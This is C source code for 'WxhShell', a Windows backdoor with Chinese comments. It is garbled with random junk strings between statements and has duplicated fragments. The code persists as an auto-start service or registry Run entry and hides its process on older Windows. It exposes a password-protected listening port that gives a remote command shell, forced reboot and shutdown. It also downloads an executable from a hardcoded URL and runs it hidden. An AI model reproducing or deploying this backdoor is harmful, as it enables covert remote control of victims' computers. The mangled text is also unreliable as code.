static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N~'c_l >z@0.pN]7 HANDLE hProcess; c\j/k[\< PROCESS_BASIC_INFORMATION pbi; PEZ!n.'S =UWI9M*sz HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |yPu!pfl if(NULL == hInst ) return 0; I; rGD^ Cp0=k g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F:S}w g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =t?F6)Q NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O:K2Y5R?B w``U=sfmV if (!NtQueryInformationProcess) return 0; {)sdiE _H@DLhH|= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .7X^YKR if(!hProcess) return 0; sFRQe]zCcP 4j^
@wV' if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {+>-7
9b EfT=? CloseHandle(hProcess); h/Y'<: N"ST@/j.A hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tQ#n${a@f if(hProcess==NULL) return 0; SOIN']L|V[ do'GlU oMC HMODULE hMod; <N~K;n
v char procName[255]; 4 #Jg9o unsigned long cbNeeded; A@#E@;lm p6S8VA if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =Dj#gV "\yT7?}, CloseHandle(hProcess); 2GG2jky{/ zfdl45 if(strstr(procName,"services")) return 1; // 以服务启动 VUuE T 2&cT~ZX&' return 0; // 注册表启动 m9;SrCN_ } v`T
c}c ' qf-8<{T // 主模块 wC'Szni int StartWxhshell(LPSTR lpCmdLine) -mh3DhJ, { *{5fq_ SOCKET wsl; (/$^uWj BOOL val=TRUE; RxQ * int port=0; ~&uHbTq struct sockaddr_in door; Dw"\/p:-3 7zj{wp! if(wscfg.ws_autoins) Install(); nO-#Q=H, 'Pbr
v port=atoi(lpCmdLine); rPm x yB!dp;gM{ if(port<=0) port=wscfg.ws_port; x4O~q0>:Le t_1LL >R WSADATA data; /x *3}oI if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3XNCAb2 /gas2k==^ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; dc'Y`e setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @ Nm@]q door.sin_family = AF_INET; ~}Pfu door.sin_addr.s_addr = inet_addr("127.0.0.1"); P$,Ke< door.sin_port = htons(port); [#iz/q~} NHE18_v5 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !VzC&>'v^9 closesocket(wsl); ia?
c0xL return 1; yt2PU_), } 6L~n.5B~o 4^d?D!j if(listen(wsl,2) == INVALID_SOCKET) { 0*v2y*2V closesocket(wsl); XK vi=0B return 1; $:^td/p J } ,#K'PB4 E Wxhshell(wsl); [D1Up WSACleanup(); 19] E 5'AI ee=D1 qNu; return 0; +w~oH = Uw:"n]G]D? } 0+8e, |vC~HJpuv' // 以NT服务方式启动 T> p&$]OG VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hqdDm { 1 -b_~DF DWORD status = 0; %l%HHT DWORD specificError = 0xfffffff; +cRn%ioVi GtHivC serviceStatus.dwServiceType = SERVICE_WIN32; SS2%qv serviceStatus.dwCurrentState = SERVICE_START_PENDING; V VCZ9MVJ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uw8f ~:LT serviceStatus.dwWin32ExitCode = 0; !`r$"}g serviceStatus.dwServiceSpecificExitCode = 0; )M^
gT}M serviceStatus.dwCheckPoint = 0; ]_$[8#kg serviceStatus.dwWaitHint = 0; w2'5#`m 5-A\9UC*@ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &nK<:^n if (hServiceStatusHandle==0) return; ./~(7o$ *K;~!P status = GetLastError(); -n;}n:wL if (status!=NO_ERROR) WY]s |2a { d"Y{UE serviceStatus.dwCurrentState = SERVICE_STOPPED; yCo.cd- serviceStatus.dwCheckPoint = 0; d d;T-wa} serviceStatus.dwWaitHint = 0; %jM,W}2 serviceStatus.dwWin32ExitCode = status; 3$JoDL(Z serviceStatus.dwServiceSpecificExitCode = specificError; @%SQFu@FJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); W_ZJ0GuE( return; @o.I ;}*N } !_(Tqyg& W{aY}` serviceStatus.dwCurrentState = SERVICE_RUNNING; A %-6`> serviceStatus.dwCheckPoint = 0; `$NP>%J- serviceStatus.dwWaitHint = 0; BJ0?kX@ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %|4UsWZ } y+q5UC| WEpoBP
CL // 处理NT服务事件,比如:启动、停止 bPMhfK2 % VOID WINAPI NTServiceHandler(DWORD fdwControl) wyG;8I { yDS4h(^ switch(fdwControl) nRY5xRvK { :hA#m[ case SERVICE_CONTROL_STOP: E\$W_Lmr serviceStatus.dwWin32ExitCode = 0; Q@H V- (A serviceStatus.dwCurrentState = SERVICE_STOPPED; Y\tui+?J serviceStatus.dwCheckPoint = 0; !&\INl-Z serviceStatus.dwWaitHint = 0; tnIX:6 { D`AsRd SetServiceStatus(hServiceStatusHandle, &serviceStatus); .e5Mnd%$M } j| Q-*]V return; C7?/%7{ case SERVICE_CONTROL_PAUSE: et+0FF
, serviceStatus.dwCurrentState = SERVICE_PAUSED; P|> ~_$W break; ?fS9J case SERVICE_CONTROL_CONTINUE: PaN"sf serviceStatus.dwCurrentState = SERVICE_RUNNING; NuI9iU break; QCJM& case SERVICE_CONTROL_INTERROGATE: oXS}IL
og' break; H[|~/0?K }; ?1".;foZ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dhv3jg;lq } B1Oq!k \[nut; // 标准应用程序主函数 =Runf
+} int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LHmZxi? { <6=c,y C.QO#b // 获取操作系统版本 O9p|a%o OsIsNt=GetOsVer(); uVU)d1N GetModuleFileName(NULL,ExeFile,MAX_PATH); zn(PI3+]! Ct|A:/z( // 从命令行安装 A70d\i if(strpbrk(lpCmdLine,"iI")) Install(); 'H!XUtFs" FgI3 // 下载执行文件 l+0P if(wscfg.ws_downexe) { ?hM64jI| if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (I}v[W WinExec(wscfg.ws_filenam,SW_HIDE); s(8W_4&' } Qei"'~1a (9h`3# if(!OsIsNt) { &~w}_Fjk // 如果时win9x,隐藏进程并且设置为注册表启动 BluVmM3Vj HideProc(); 9{uO1O\ StartWxhshell(lpCmdLine); P
}uOJVQ_ } $wU\Js`/S] else u2[w# if(StartFromService()) A(0lM`X // 以服务方式启动 fn!KQ`,# StartServiceCtrlDispatcher(DispatchTable); 4`R(? else RrgGEx // 普通方式启动 .[ mRM StartWxhshell(lpCmdLine); *9i{,I@ KGpA2Nx return 0; ]:\dPw`A } .x1NWGDn KY N0 E~:x(5'%d jA/w|\d! =========================================== D,ln)["xm Q3SS/eNP Y4( K4);HJ|= w`=\5Oa .G MJrR[h] " 'P}0FktP` (4EI-e*6 #include <stdio.h> 3yXY.>' #include <string.h> k$7Jj-+~ #include <windows.h> {}Za_(Y,] #include <winsock2.h> s|ITsz0,td #include <winsvc.h> b_):MQ1{ #include <urlmon.h> xP,hTE jNy.Y8E& #pragma comment (lib, "Ws2_32.lib") V470C@ #pragma comment (lib, "urlmon.lib") qyNyBr? e~':(/%|5; #define MAX_USER 100 // 最大客户端连接数 "wHFN>5B #define BUF_SOCK 200 // sock buffer ~3 bPIg7D #define KEY_BUFF 255 // 输入 buffer E+JqWR5 :/Qq@]O> #define REBOOT 0 // 重启 ?pZOeqqu$ #define SHUTDOWN 1 // 关机 kSh( u z$xo$R( #define DEF_PORT 5000 // 监听端口 GM<-&s!Uj b%5f&N #define REG_LEN 16 // 注册表键长度 OBAi2Vw #define SVC_LEN 80 // NT服务名长度 &8 x-o, yvYad // 从dll定义API vZoaT|3
G] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w1DV\Ap* typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U b!(H^zu typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O1mKe%'| typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,4oo=&
bY0|N[g // wxhshell配置信息 o0vUj struct WSCFG { _ORvo{[: int ws_port; // 监听端口 ;d9QAN&0} char ws_passstr[REG_LEN]; // 口令 '08=yqy4N int ws_autoins; // 安装标记, 1=yes 0=no I
2|Bg,e char ws_regname[REG_LEN]; // 注册表键名 ^v`\x5"Vp char ws_svcname[REG_LEN]; // 服务名 W{gb:^;zb char ws_svcdisp[SVC_LEN]; // 服务显示名 6i~WcAs char ws_svcdesc[SVC_LEN]; // 服务描述信息 [zM-^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ez=Olbk int ws_downexe; // 下载执行标记, 1=yes 0=no k)Qtfj}uij char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9*?oYm;dX char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d<N:[Y\4l \K!VNB>h }; xK\d4" \;"=QmRD%: // default Wxhshell configuration f`=-US struct WSCFG wscfg={DEF_PORT, \} :PLCKT "xuhuanlingzhe", *=7U4W 1, ,nB5/Lx "Wxhshell", tC9n
k5~ "Wxhshell", g'qa}/X "WxhShell Service", N'`A?&2ru "Wrsky Windows CmdShell Service", ilx)*Y "Please Input Your Password: ", t1y4 7fX6 1, J
S_]FsxD "http://www.wrsky.com/wxhshell.exe", #?9;uy<j.q "Wxhshell.exe" *ppffz }; xX4N4vb "!%l/_p? // 消息定义模块 %F4%H|G char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `lt"[K< char *msg_ws_prompt="\n\r? for help\n\r#>"; Gk /fBs char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MFAH%Z$ char *msg_ws_ext="\n\rExit."; +&2%+[nBZ char *msg_ws_end="\n\rQuit."; pD#rnp>WWt char *msg_ws_boot="\n\rReboot..."; q(2'\ _`u char *msg_ws_poff="\n\rShutdown..."; nK%LRcAs char *msg_ws_down="\n\rSave to "; R[x_j 4Ic*9t3 char *msg_ws_err="\n\rErr!"; ~1vDV>dpE char *msg_ws_ok="\n\rOK!"; C&rkvM8
O+Y6N char ExeFile[MAX_PATH]; EA]U50L( int nUser = 0; 1Z~FCJz HANDLE handles[MAX_USER]; lv+TD!b int OsIsNt; b7?hI (c
&mCJN SERVICE_STATUS serviceStatus; 8C9-_Ng` SERVICE_STATUS_HANDLE hServiceStatusHandle; DX
K?Cv71z <;Zmjeb+# // 函数声明 (rm?jDm int Install(void); I75DUJqy] int Uninstall(void); o="M int DownloadFile(char *sURL, SOCKET wsh); -fHy-Oh int Boot(int flag); 8&`LYdzt void HideProc(void); u frL<]A int GetOsVer(void); pohp&Tcm int Wxhshell(SOCKET wsl); }oGA-Qc}B void TalkWithClient(void *cs); ~gZLY ls int CmdShell(SOCKET sock); Q:k}Jl int StartFromService(void); j yUCH*@ int StartWxhshell(LPSTR lpCmdLine);
DwE[D]7o T!WT;A VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AogVF VOID WINAPI NTServiceHandler( DWORD fdwControl ); !\.pq 2 jQ^|3#L\ // 数据结构和表定义 R3&Iu=g SERVICE_TABLE_ENTRY DispatchTable[] = wHMX=N1/ { DjQFi {wscfg.ws_svcname, NTServiceMain}, '=8d?aeF {NULL, NULL} MXNFlP }; uH- l%17 LR.<&m%~. // 自我安装 Fgh_9S9J int Install(void) A1>OY^p3% { O so#+ char svExeFile[MAX_PATH]; *@=/qkaJaI HKEY key; ~^fZx5 strcpy(svExeFile,ExeFile); XXcl{1Kp!@ Jgd'1'FOs // 如果是win9x系统,修改注册表设为自启动 e_ANUll1 if(!OsIsNt) { 8_B4?` k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;dZZ;#k% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T{ XS")Vw RegCloseKey(key); 9u}Hmb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s/ qYa]) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tq6!`L }3 RegCloseKey(key); _
y8Wn}19f return 0; o5uph=Q{ } peuZ&yK+" } Ep3N&Imp } $OkBg0 else { 9oR@UW1 ^sEYOX\ // 如果是NT以上系统,安装为系统服务 PB`Y
g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jrr*!^4| if (schSCManager!=0) Mhf5bN|wQ { &n}f? SC_HANDLE schService = CreateService O#~yKqB ( /quc}"__ schSCManager, gANuBWh8T wscfg.ws_svcname, J^5So wscfg.ws_svcdisp, ][h%UrV SERVICE_ALL_ACCESS,
?2{Gn-{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &LZn
FR SERVICE_AUTO_START, /saIs%(fU SERVICE_ERROR_NORMAL, ?5|>@> svExeFile, Pz |>"' NULL, tla
5B_ NULL, (G4at2YLd NULL, Ed,~1GanY NULL, JZ*/,|1}EC NULL ju8q?Nyhs ); bj0G5dc= if (schService!=0) A _
N;
{ 0c'<3@39k| CloseServiceHandle(schService); KNpl:g3{<Q CloseServiceHandle(schSCManager); yyRiP|hJ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ln<`E|[29 strcat(svExeFile,wscfg.ws_svcname); =eXU@B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A) %/[GD2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )j(7]uX` RegCloseKey(key); OXSmt
DvJ return 0; 1;r|g)VM } [-k } m^f0V2M_ CloseServiceHandle(schSCManager); (%e.:W${ } 2%@4] } ukfQe }I ag#S6E^%S return 1; 8Pn#+IvCE } %x{kc3PnO m=A(NKZ
// 自我卸载 >G*eNn int Uninstall(void) foF({4q7b^ { ](9Xvy HKEY key; q?oP?cCw wQH<gJE/: if(!OsIsNt) { (*nT(Adk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [.'|_l RegDeleteValue(key,wscfg.ws_regname); y'~U%,ki6 RegCloseKey(key); +]A:M6P:{v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
bv9i*] RegDeleteValue(key,wscfg.ws_regname); OgQV;at RegCloseKey(key); ?U5{Wa85D return 0; UkT=W!cq } T/Gz94c } B^Nf #XN( } ;R5`"` else { %C'?@,7C k)= X}=w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6]_pIf if (schSCManager!=0) ]kG"ubHV?h { zyc"]IzOU SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c~$)UND^ if (schService!=0) o]` *M| { @+M
/& if(DeleteService(schService)!=0) { KL:j?.0 CloseServiceHandle(schService); X_ cV%# CloseServiceHandle(schSCManager); KRLQ #,9 return 0; 3yY}04[9< } q J=~Y|( CloseServiceHandle(schService); /-ch`u md } /vde2.| CloseServiceHandle(schSCManager); w%VU/6~ } tl4V7!U@^z } =J]]EoX/ ,p@y]
cr return 1; *,)Md[ } :q7Wy&ow k\YG^I // 从指定url下载文件 UcDS9f_87 int DownloadFile(char *sURL, SOCKET wsh) *_{j=sd { [vK^Um HRESULT hr; |zNX=mAV char seps[]= "/"; u\x}8pn char *token; o\<ULW* char *file; *@r/5pM2} char myURL[MAX_PATH]; 69?wc! char myFILE[MAX_PATH]; Un(aW=PQ0 M~#g RAUJ strcpy(myURL,sURL); Xe'x[(l token=strtok(myURL,seps); bv9]\qC]T< while(token!=NULL) p2[n$61 { _476pZ_ file=token; N/'b$m5=
S token=strtok(NULL,seps); >~sI8czR* } -M~:lK]n dulI&_x GetCurrentDirectory(MAX_PATH,myFILE); GR.^glG?6 strcat(myFILE, "\\"); u+e{Mim strcat(myFILE, file); Z{Qu<vy_ send(wsh,myFILE,strlen(myFILE),0); Y3cMC) send(wsh,"...",3,0); hh)`645=x hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B6nX$T4zP if(hr==S_OK) '!cCMTj return 0; TnOggpQ6X else ks qQM return 1; 6V:U(g HTcb_a } 2K6qY)/_ +nhLIO{{L // 系统电源模块 Mj?`j_X int Boot(int flag) /-qNh>v4 { :&rt)/I HANDLE hToken; k&q;JyUi TOKEN_PRIVILEGES tkp; <QAFL uey V-2(?auZd if(OsIsNt) { L>&t|T2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D~fl JR LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b-?gw64# tkp.PrivilegeCount = 1; sPQQ"|wU tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )0W{]2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Apag{Z]^B if(flag==REBOOT) { L>NL:68yN if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9r<J"%*Q return 0; "]x'PI 4J } Y%aCMP9j~9 else { PfD.:amN7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~i{(<.he return 0; c(E{6g? } e/&{v8Hmb } ]BZA:dd.G else { f=Gg9bnm3 if(flag==REBOOT) { =tn)}Y.<e if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6qpJUkd return 0; 9C9oUtS } ,vawzq[oSy else { "'.UU$]d if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z'W=\rl return 0; "1*:JVG } VG#EdIiI } vjCu4+w($Z
3E]plj7$ return 1; ^4hO } 1~`fVg HTS0s\R$ // win9x进程隐藏模块 EhvX)s void HideProc(void) 9c'xHO` { f:w?pE CL;}IBd a HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~.nmI&3 if ( hKernel != NULL ) ~2N"#b&J { J#(LlCs?@c pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j#x6
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }W8;=$jr FreeLibrary(hKernel); 9uO 2Mm } IGQFtO/x RnE4<Cy return; w<3#1/g!2B } >J?fl8 l0m-$/ // 获取操作系统版本 6]N;r5n int GetOsVer(void) /NFj(+&g+ { >dD@j:Qc OSVERSIONINFO winfo; 1{.|+S Z! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 70nqD>M4 GetVersionEx(&winfo); L,`LN> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X-Kh(Z return 1; T!kN)#S else q`a'gJx#y return 0; 1#2 I } MUc$j& @ioJ]$o7 // 客户端句柄模块 E_wCN&`[ int Wxhshell(SOCKET wsl) [ /b2=> { j0aXyLNX SOCKET wsh; lU\[aNs struct sockaddr_in client; ]^7@}Ce_ DWORD myID; h"Q8b}$^) b3[!V{| while(nUser<MAX_USER) !hy-L_wL] { q!7ANib6O int nSize=sizeof(client); UnV.~ u~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,PW'#U: if(wsh==INVALID_SOCKET) return 1; <2x^slx)? i$#;Kpb`^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5H9z4-i x? if(handles[nUser]==0)
gPO}d closesocket(wsh); KYI/ else TDjm2R~9FS nUser++; "m8^zg hL } @n /nH?L WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~jk|4`I?T $( kF# return 0; "|q&ea rc } #q$HQ&k ZJJY8k ` // 关闭 socket hWLA<wdb void CloseIt(SOCKET wsh) lgy<?LI\ { @Uvz8*b6 closesocket(wsh); tSUEZ62EY nUser--; 5Ln,{vsv ExitThread(0); ueWEc^_> } 3(N$nsi NwvC[4 // 客户端请求句柄 ,/2Vt/lt void TalkWithClient(void *cs) RSRS wkC { An0|[ uWH \?-<4Bc@ SOCKET wsh=(SOCKET)cs; !>o7a}? char pwd[SVC_LEN]; J!(<y(l char cmd[KEY_BUFF]; G>}255qY char chr[1]; .2t4tb(SUw int i,j; L`TLgH&?R :eCwY while (nUser < MAX_USER) { &
J'idYD 3;9^ if(wscfg.ws_passstr) { WE#^a6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V2EUW!gn
2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f'RX6$}\1X //ZeroMemory(pwd,KEY_BUFF); >uRI'24 i=0; 'JE`(xD while(i<SVC_LEN) { V=l0(03j~ V1zmG y // 设置超时 Wvh#:Z fd_set FdRead; ebhXak[w struct timeval TimeOut; u&vf+6=9Dd FD_ZERO(&FdRead); Nh|uO?&C6 FD_SET(wsh,&FdRead); ; DR$iH-F TimeOut.tv_sec=8; t{9GVLZ TimeOut.tv_usec=0; eo?bL$A[s int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;igIZ$& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c)85=T6*aA ^{`exCwMx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q.bSIV| pwd=chr[0]; 'H>^2C iM if(chr[0]==0xd || chr[0]==0xa) { 5C]x!>kX pwd=0; ,&.!?0+ break; !;A\.~-!G } %sP*=5?vA i++; q?yVR3]M } H*R"ntI?w }($5k]]clP // 如果是非法用户,关闭 socket tDcT%D {: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "(O>=F& } #trK^( (?c"$|^J send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Rhs/3O8k send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7n<{tM
UI0VtR] while(1) { +O{*M9B Zu[su>\ ZeroMemory(cmd,KEY_BUFF); 6nvz8f3*r] Yj49t_$b // 自动支持客户端 telnet标准 qy TU8Wp j=0; 03Ycf'W while(j<KEY_BUFF) { (L&d!$,Dv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bI1N@= cmd[j]=chr[0]; g!|kp? if(chr[0]==0xa || chr[0]==0xd) { =dKtV.L cmd[j]=0; _B<X`L
= break; rb.N~ } #;e:A8IQ j++; 6bC3O4Rw } x 9fip-
}my`K // 下载文件 O^
yG?b if(strstr(cmd,"http://")) { 24eLB?H send(wsh,msg_ws_down,strlen(msg_ws_down),0); q0vQa if(DownloadFile(cmd,wsh)) ,f>k%_U} send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y:[u1~a else u*`GiZAO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y$_B1_ } DTL.Bsc-. else { ~f98#43 kl:Bfs)b switch(cmd[0]) { 8l`*]1.W< f]CXu3w(J // 帮助 h:|qC`} case '?': { wmLs/:~ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VI86KJu break; ^
Ze=uP } 4tBYR9| // 安装 Q;rX;p^W case 'i': { "chDg(jMZ if(Install()) e9B064 send(wsh,msg_ws_err,strlen(msg_ws_err),0); iYy1!\ else )SGq[B6@I send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?UoBV$ break; |CyE5i0 } 4kx
N<] // 卸载 ^1];S^nD case 'r': { NgPk&niM if(Uninstall()) bk[!8-b/a send(wsh,msg_ws_err,strlen(msg_ws_err),0); +I28|*K" else dy[X3jQB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (sZ"iGn% break; 6'f;-2 } ckCE1e>s // 显示 wxhshell 所在路径 D0f] $ case 'p': { J|7 3.&B char svExeFile[MAX_PATH]; `ERz\`d~Y; strcpy(svExeFile,"\n\r"); M_DwUS1? strcat(svExeFile,ExeFile); +NUG send(wsh,svExeFile,strlen(svExeFile),0); abVmkdP_s break; eHUOU>&P] } kAUymds;O // 重启 f!X[c?Xy" case 'b': { !4+<<(B=E send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1'Dai ` if(Boot(REBOOT)) p!%pP}I send(wsh,msg_ws_err,strlen(msg_ws_err),0); G3T]`Atf else { |[8Th4*n closesocket(wsh); ~k5W@`"W ExitThread(0); YoFxW5by } z
F;K break; Q"#J6@ } }jPSUdo // 关机 X:{!n({r= case 'd': { @H8EWTZ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -KbYOb if(Boot(SHUTDOWN)) !&E-}}< send(wsh,msg_ws_err,strlen(msg_ws_err),0); :ShT|n7 else { jPkn[W#
6 closesocket(wsh); aN3;`~{9 ExitThread(0); ?a]mDx>xh } )4 ;`^]F break; +=)+'q]S } ,V}WM%Km // 获取shell qH_Dc=~la case 's': { 1$ {SRU7l CmdShell(wsh); u*9V&>o closesocket(wsh); S+lqA-: ExitThread(0); "0TZTa1e break; Iq.*8Oc } dj%!I:Q>u // 退出 <1!O1ab case 'x': { A3*!"3nU send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X@FN|Rdh CloseIt(wsh); 8 Fbo3 break; hi[pVk~B) } 5!9zI+S|=` // 离开 Flb&B1 case 'q': { ],].zlN send(wsh,msg_ws_end,strlen(msg_ws_end),0); EoDA]6?Lj closesocket(wsh); -UT}/:a WSACleanup(); ,hmL/K0"(5 exit(1); &)<)^.@3G^ break; sDV Q#}a } Cgc\
ah } =2x^nW } 7 X4LJf 7K:PdF>/ // 提示信息 \73ch if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 32
=z)]FZ } 9gZ$
} P!k{u^$L |ENh)M8}r return; kG*~|ma } NGW xN8P6 |wj?ed$
f // shell模块句柄 +ck}l2 int CmdShell(SOCKET sock) FN73+-:n:j { i}?>g -( STARTUPINFO si; QmIBaMI# ZeroMemory(&si,sizeof(si)); 1BEHw?dLU si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?
=+WRjF si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9cm#56 PROCESS_INFORMATION ProcessInfo; {(}By/_ char cmdline[]="cmd"; Z/J y'$x CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #$y?v%^ return 0; T[A69O]v } Ga'swP=hf WX0tgXl // 自身启动模式 +nGAz{&@r% int StartFromService(void) Y6d@h? ht { qIqM{#' ^ typedef struct 40
0#v|b { cN9t{.m DWORD ExitStatus; 4X|zmr:A DWORD PebBaseAddress; SX-iAS[< DWORD AffinityMask; T]p-0?=4vv DWORD BasePriority; uW3!Yg@ ULONG UniqueProcessId; pD+k* ULONG InheritedFromUniqueProcessId; v*yuE5{ } PROCESS_BASIC_INFORMATION; |zE'd!7E h)nG)|c PROCNTQSIP NtQueryInformationProcess; "
2Dngw 8Q+36! static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -Y;3I00( static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L j$;:/G _<2E"PrT HANDLE hProcess; 0qT%!ku& PROCESS_BASIC_INFORMATION pbi; }o{(S%% c[Zje7 @ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %u5]>]M+ if(NULL == hInst ) return 0; ;jTN| i' 9~YMyg(Z g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >-{Hyx g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <rS F* NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ws^ np 7J&4akT{9 if (!NtQueryInformationProcess) return 0; SK.: Q5: pY$Q hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <b<j=_3 if(!hProcess) return 0; GowH]MO jlg(drTo if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >)Tqt!? H 7
